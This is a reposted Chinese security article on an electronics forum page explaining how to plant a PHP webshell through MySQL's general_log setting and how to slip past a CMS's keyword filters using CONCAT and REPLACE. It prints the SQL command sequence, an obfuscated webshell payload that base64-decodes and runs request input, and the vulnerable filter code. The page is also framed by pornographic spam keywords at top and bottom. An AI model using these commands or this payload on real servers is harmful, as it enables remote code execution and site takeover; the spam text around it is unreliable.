在线观看www成人影院-在线观看www日本免费网站-在线观看www视频-在线观看操-欧美18在线-欧美1级

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

SQL語(yǔ)句利用日志寫shell及相關(guān)繞過(guò)

jf_hKIAo4na ? 來(lái)源:Mi1k7ea ? 2023-02-03 17:32 ? 次閱讀

0x01 基本原理

在能夠?qū)慡QL語(yǔ)句的地方,outfile、dumpfile、drop database等都被禁止,一般進(jìn)行SQL注入來(lái)getshell或刪庫(kù)的方式行不通了。

但是如果MySQL是root用戶啟動(dòng)的,那么可以進(jìn)行如下利用:

show variables like '%general%';  #查看配置


set global general_log = on;  #開(kāi)啟general log模式


set global general_log_file = '/var/www/html/1.php';   #設(shè)置日志目錄為shell地址


select ''  #寫入shell

SQL查詢免殺shell的語(yǔ)句(參考:SQL語(yǔ)句利用日志寫shell):

SELECT"'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a=array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_='a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>"

0x02 Bypass案例

這個(gè)案例雖然雞肋,但是思路還可以。

過(guò)濾 .php

代碼審計(jì)某CMS時(shí),看到一處寫SQL語(yǔ)句的地方,此處之前報(bào)過(guò)漏洞,修復(fù)方案是過(guò)濾了outfile、dumpfile、drop database等,此外還過(guò)濾了.php字符串,為的就是防住SQL語(yǔ)句日志寫shell:

if(stristr($sql, 'outfile')){
    $str = 'ERROR : 檢測(cè)到非法字符 “outfile”!';
    break;
}
if(stristr($sql, 'dumpfile')){
    $str = 'ERROR : 檢測(cè)到非法字符 “dumpfile”!';
    break;
}
if(stristr($sql, '.php')){
    $str = 'ERROR : 檢測(cè)到非法字符 “.php” !';
    break;
}
if(preg_match("/^drop(.*)database/i", $sql)){
    $str = 'ERROR : 不允許刪除數(shù)據(jù)庫(kù)!';
    break;
}

這里直接寫上述的SQL語(yǔ)句肯定是不行的,因?yàn)閟et global general_log_file = '/var/www/html/1.php';的.php會(huì)被過(guò)濾掉。

這里只是針對(duì)字符串的檢測(cè),可以用字符串拼接的方式Bypass,這里可以使用SQL語(yǔ)句中的concat家族系列函數(shù)來(lái)實(shí)現(xiàn)字符串拼接來(lái)Bypass:

show variables like '%general%';   #查看配置


set global general_log = on;        #開(kāi)啟general log模式


set global general_log_file =CONCAT("/var/www/html/1.","php"); 


select '';   #寫入shell

過(guò)濾 .php和concat

在這次報(bào)過(guò)的漏洞之后,CMS廠商修改了這個(gè)洞,就是添加了對(duì)concat的字符串過(guò)濾,這樣concat家族系列函數(shù)就使不上了。

if(stristr($sql, 'outfile')){
    $str = 'ERROR : 檢測(cè)到非法字符 “outfile”!';
    break;
}
if(stristr($sql, 'dumpfile')){
    $str = 'ERROR : 檢測(cè)到非法字符 “dumpfile”!';
    break;
}
if(stristr($sql, '.php')){
    $str = 'ERROR : 檢測(cè)到非法字符 “.php” !';
    break;
}
if(stristr($sql, 'concat')){
    $str = 'ERROR : 檢測(cè)到非法字符 “concat” !';
    break;
}
if(preg_match("/^drop(.*)database/i", $sql)){
    $str = 'ERROR : 不允許刪除數(shù)據(jù)庫(kù)!';
    break;
}

使用concat進(jìn)行字符串拼接的方式?jīng)]法繞過(guò)了,但是除了字符串拼接,我們還能使用字符串替換的操作來(lái)繞過(guò):

show variables like '%general%';   #查看配置


set global general_log = on;        #開(kāi)啟general log模式


set global general_log_file =REPLACE("/var/www/html/1.jpg","jpg","php"); 


select '';   #寫入shell

過(guò)濾 .php、concat和replace

CMS廠商收到新的繞過(guò)漏洞報(bào)告后,又進(jìn)行新一輪的修復(fù),過(guò)濾了replace:

if(stristr($sql, 'outfile')){
    $str = 'ERROR : 檢測(cè)到非法字符 “outfile”!';
    break;
}
if(stristr($sql, 'dumpfile')){
    $str = 'ERROR : 檢測(cè)到非法字符 “dumpfile”!';
    break;
}
if(stristr($sql, '.php')){
    $str = 'ERROR : 檢測(cè)到非法字符 “.php” !';
    break;
}
if(stristr($sql, 'concat')){
    $str = 'ERROR : 檢測(cè)到非法字符 “concat” !';
    break;
}
if(stripos($sql, 'replace')){
    $str = 'ERROR : 檢測(cè)到非法字符 “replace” !';
    break;
}
if(preg_match("/^drop(.*)database/i", $sql)){
    $str = 'ERROR : 不允許刪除數(shù)據(jù)庫(kù)!';
    break;
}

字符串拼接和替換都不能成功進(jìn)行利用了,還有啥辦法不?

當(dāng)然還有新的Bypass方法哈哈。

作者:Mi1k7ea

菜鳥學(xué)安全

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問(wèn)題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • SQL
    SQL
    +關(guān)注

    關(guān)注

    1

    文章

    764

    瀏覽量

    44133
  • MySQL
    +關(guān)注

    關(guān)注

    1

    文章

    809

    瀏覽量

    26574
  • 日志
    +關(guān)注

    關(guān)注

    0

    文章

    138

    瀏覽量

    10643
  • Shell
    +關(guān)注

    關(guān)注

    1

    文章

    365

    瀏覽量

    23378
  • Bypass
    +關(guān)注

    關(guān)注

    0

    文章

    7

    瀏覽量

    5616

原文標(biāo)題:SQL語(yǔ)句利用日志寫shell及相關(guān)繞過(guò)

文章出處:【微信號(hào):菜鳥學(xué)安全,微信公眾號(hào):菜鳥學(xué)安全】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。

收藏 人收藏

    評(píng)論

    相關(guān)推薦

    利用ChatGPT通過(guò)Shell腳本來(lái)實(shí)現(xiàn)日志分析

    ChatGPT自出道以來(lái),其出色的代碼能力被眾多程序員追捧,今天浩道就運(yùn)維工作中常見(jiàn)的日志分析場(chǎng)景,利用ChatGPT讓它通過(guò)Shell腳本來(lái)實(shí)現(xiàn)日志分析
    的頭像 發(fā)表于 04-07 09:09 ?3165次閱讀

    SQL語(yǔ)句生成器

    SQL語(yǔ)句生成器SQL數(shù)據(jù)庫(kù)語(yǔ)句生成及分析器(支持表結(jié)構(gòu)、索引、所有記錄到SQL腳本)可用于數(shù)據(jù)數(shù)的備份和恢復(fù)!功能不用多說(shuō),試試就知道了
    發(fā)表于 06-12 16:15

    SQL語(yǔ)句的兩種嵌套方式

    一般情況下,SQL語(yǔ)句是嵌套在宿主語(yǔ)言(如C語(yǔ)言)中的。有兩種嵌套方式:1.調(diào)用層接口(CLI):提供一些庫(kù),庫(kù)中的函數(shù)和方法實(shí)現(xiàn)SQL的調(diào)用2.直接嵌套SQL:在代碼中嵌套
    發(fā)表于 05-23 08:51

    區(qū)分SQL語(yǔ)句與主語(yǔ)言語(yǔ)句

    為了區(qū)分SQL語(yǔ)句與主語(yǔ)言語(yǔ)句,所有SQL 語(yǔ)句必須加前綴EXEC SQL處理過(guò)程:含嵌入式
    發(fā)表于 10-28 08:44

    為什么要?jiǎng)討B(tài)sql語(yǔ)句

    為什么要?jiǎng)討B(tài)sql語(yǔ)句?因?yàn)閯?dòng)態(tài)sql語(yǔ)句能夠提供一些比較友好的機(jī)制1、可以使得一些在編譯過(guò)程中無(wú)法獲得完整的sql
    發(fā)表于 12-20 06:00

    數(shù)據(jù)庫(kù)SQL語(yǔ)句電子教程

    電子發(fā)燒友為您提供了數(shù)據(jù)庫(kù)SQL語(yǔ)句電子教程,幫助您了解數(shù)據(jù)庫(kù) SQL語(yǔ)句 ,學(xué)習(xí)讀懂?dāng)?shù)據(jù)庫(kù)SQL語(yǔ)句
    發(fā)表于 07-14 17:09 ?0次下載

    sql語(yǔ)句實(shí)例講解

    SQL是用來(lái)存取關(guān)系數(shù)據(jù)庫(kù)的語(yǔ)言,具有查詢、操縱、定義和控制關(guān)系型數(shù)據(jù)庫(kù)的四方面功能。常見(jiàn)的關(guān)系數(shù)據(jù)庫(kù)有Oracle,SQLServer,DB2,Sybase。開(kāi)源不收費(fèi)的有MYSQL,SQLLite等。今天我們主要以MYSQL為例子,講解SQL常用的
    發(fā)表于 11-17 12:39 ?9140次閱讀
    <b class='flag-5'>sql</b><b class='flag-5'>語(yǔ)句</b>實(shí)例講解

    如何使用navicat或PHPMySQLAdmin導(dǎo)入SQL語(yǔ)句

    很多朋友問(wèn)我們?cè)趺磳?dǎo)入SQL語(yǔ)句,這是新人最需要知道的東西,現(xiàn)制作圖文教程,希望對(duì)新手有所幫助,順便文末附SQL語(yǔ)句導(dǎo)入導(dǎo)出大全,高手可以提供更加詳細(xì)的教程。
    發(fā)表于 04-10 15:06 ?2次下載

    如何使用SQL修復(fù)語(yǔ)句程序說(shuō)明

    本文檔的主要內(nèi)容詳細(xì)介紹的是如何使用SQL修復(fù)語(yǔ)句程序說(shuō)明。
    發(fā)表于 10-31 15:09 ?5次下載

    最實(shí)用的SQL語(yǔ)句快來(lái)收藏學(xué)習(xí)吧

    文章沿著設(shè)計(jì)一個(gè)假想的應(yīng)用 awesome_app 為主線,從零創(chuàng)建修改數(shù)據(jù)庫(kù),表格,字段屬性,索引,字符集,默認(rèn)值,自增,增刪改查,多表查詢,內(nèi)置函數(shù)等實(shí)用 SQL 語(yǔ)句。收藏此文,告別零散又低效
    的頭像 發(fā)表于 12-21 11:04 ?3296次閱讀

    嵌入式SQL語(yǔ)句

    為了區(qū)分SQL語(yǔ)句與主語(yǔ)言語(yǔ)句,所有SQL 語(yǔ)句必須加前綴EXEC SQL處理過(guò)程:含嵌入式
    發(fā)表于 10-21 11:51 ?4次下載
    嵌入式<b class='flag-5'>SQL</b><b class='flag-5'>語(yǔ)句</b>

    sql server執(zhí)行os-shell

    條件:數(shù)據(jù)庫(kù)權(quán)限必須是dba權(quán)限可利用sql-shll進(jìn)行命令執(zhí)行,部分常用ql語(yǔ)句
    的頭像 發(fā)表于 10-24 17:42 ?2196次閱讀

    sql注入漏洞解決方法有哪些?

    什么是sql注入?SQL注入(SQLi)是一種執(zhí)行惡意SQL語(yǔ)句的注入攻擊。攻擊者可能會(huì)利用 SQL
    的頭像 發(fā)表于 10-07 17:29 ?4860次閱讀
    <b class='flag-5'>sql</b>注入漏洞解決方法有哪些?

    sql查詢語(yǔ)句大全及實(shí)例

    SQL(Structured Query Language)是一種專門用于數(shù)據(jù)庫(kù)管理系統(tǒng)的標(biāo)準(zhǔn)交互式數(shù)據(jù)庫(kù)查詢語(yǔ)言。它被廣泛應(yīng)用于數(shù)據(jù)庫(kù)管理和數(shù)據(jù)操作領(lǐng)域。在本文中,我們將為您詳細(xì)介紹SQL查詢語(yǔ)句
    的頭像 發(fā)表于 11-17 15:06 ?1504次閱讀

    oracle執(zhí)行sql查詢語(yǔ)句的步驟是什么

    Oracle數(shù)據(jù)庫(kù)是一種常用的關(guān)系型數(shù)據(jù)庫(kù)管理系統(tǒng),具有強(qiáng)大的SQL查詢功能。Oracle執(zhí)行SQL查詢語(yǔ)句的步驟包括編寫SQL語(yǔ)句、解析
    的頭像 發(fā)表于 12-06 10:49 ?974次閱讀
    主站蜘蛛池模板: 人人看人人玩| 黄色片啪啪| 国产成人三级经典中文| 人人澡 人人澡 人人看| 亚洲福利一区| 人人插人人费| 午夜视频国语| 亚洲国产一区二区在线| 日本三级最新中文字幕电影| 9久久9久久精品| 久久影院午夜伦手机不四虎卡| 性色视频免费| 高清性色生活片欧美在线| 国内久久精品| 亚洲精品色图| 国产精品17p| 深爱五月激情| 四虎在线最新永久免费| 永久免费观看午夜视频在线| xxxx日本老师hd| 日本免费色网站| 色就操| 二区三区在线观看| 国产一区二卡三区四区| 在线观看视频网站| 色.com| 天天操你| 一级毛片q片| 成人a一级毛片免费看| 黄 在线| 你懂的国产| 成人黄色免费| 日本人色道| 男人午夜影院| 香港三澳门三日本三级| 夜夜操操| 国产亚洲一区二区三区在线| 国产高清视频在线播放www色| sis色中色| 久久精品男人影院| 五月丁五月丁开行停停乱|